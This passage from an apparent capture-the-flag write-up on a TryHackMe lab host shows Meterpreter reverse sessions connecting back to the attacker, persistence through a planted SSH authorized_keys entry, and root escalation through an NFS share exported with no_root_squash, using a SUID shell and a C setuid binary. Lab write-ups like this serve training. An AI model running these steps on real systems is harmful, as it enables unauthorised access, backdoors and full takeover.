$ echo '/home/john/develop' > /home/john/develop/test.conf

Just waiting 2 minutes I received a connection:

1
2
3
4
5
6
7
8
9
msf6 exploit(multi/handler) > sessions -l

Active sessions
===============

Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/linux www-data @ 10.10.29.248 10.9.19.77:8888 -> 10.10.29.248:33650 (10.10.29.248)
2 meterpreter x64/linux john @ 10.10.29.248 10.9.19.77:7777 -> 10.10.29.248:44638 (10.10.29.248)
1
2
3
4
5
$ id
uid=1000(john) gid=1000(john) groups=1000(john),4(adm),24(cdrom),30(dip),46(plugdev),1001(blocked)

$ cat user.txt
THM{edited}

Persitence#

Let's create a SSH access with our public key.

1
2
$ mkdir ~/.ssh
$ echo "YOUR_KEY_HERE" > /home/john/.ssh/authorized_keys

Then we can connect to the host:

1
$ ssh -i ~/.ssh/id_ed25519 john@enterprize.thm

Elevation of Prevelege (EoP): from john to root#

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
john@enterprize:~$ ss -nlpt
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 128 0.0.0.0:34119 0.0.0.0:*
LISTEN 0 128 0.0.0.0:50313 0.0.0.0:*
LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*
LISTEN 0 128 0.0.0.0:111 0.0.0.0:*
LISTEN 0 128 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 64 0.0.0.0:2049 0.0.0.0:*
LISTEN 0 64 0.0.0.0:32773 0.0.0.0:*
LISTEN 0 128 0.0.0.0:37093 0.0.0.0:*
LISTEN 0 128 [::]:111 [::]:*
LISTEN 0 128 *:80 *:*
...

john@enterprize:~$ showmount -e 127.0.0.1
Export list for 127.0.0.1:
/var/nfs localhost

Interestingly there is a NFS service (port 2049) running locally.

Let's make a local port forwarding to inspect it.

1
$ ssh -i ~/.ssh/id_ed25519 john@enterprize.thm -N -L 2049:127.0.0.1:2049

As recommended on HackTricks we can read /etc/exports to see how NFS is configured.

1
2
john@enterprize:~$ grep -v '#' /etc/exports
/var/nfs localhost(insecure,rw,sync,no_root_squash,no_subtree_check)

As explained here with no_root_squash we'll have access to the files on the NFS as root.

Let's mount the share and copy a SUID shell in it.

1
2
3
4
5
6
7
$ mkdir nfs
$ sudo mount -t nfs 127.0.0.1:/var/nfs nfs/
$ sudo su
$ cp /bin/sh nfs
$ chmod +s nfs/sh
$ exit
$ sudo umount -f 127.0.0.1:/var/nfs

But it didn't work executing /var/nfs/sh -p because of incomptability with versions of shared libraries. So instead I'll copy the /bin/sh from the system.

1
2
3
4
5
6
$ scp -i ~/.ssh/id_ed25519 john@enterprize.thm:/bin/sh .
$ sudo mount -t nfs 127.0.0.1:/var/nfs nfs/
$ sudo su
$ mv sh nfs/sh
$ chmod +s nfs/sh
$ exit

Note: do not unmount the share from your host as doing it removes the SUID bits, you must have the share mounted while executing a binary from the target.

Another way to do it is to create a C SUID binary:

1
2
3
4
5
6
int main(){
setuid(0);
setgid(0);
system("/bin/bash");
return 0;
}
1
2
3
4
$ sudo mount -t nfs 127.0.0.1:/var/nfs nfs/
$ sudo su
$ gcc -static suid.c -o nfs/eop
$ chmod u+s nfs/eop
1
2
3
4
5
6
7
8
9
10
john@enterprize:/var/nfs$ ./sh -p
# id
uid=1000(john) gid=1000(john) euid=0(root) groups=1000(john),4(adm),24(cdrom),30(dip),46(plugdev),1001(blocked)
# cat /root/root.txt
THM{edited}
# exit
john@enterprize:/var/nfs$ ./eop
root@enterprize:/var/nfs# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),30(dip),46(plugdev),1000(john),1001(blocked)
root@enterprize:/var/nfs# exit
Share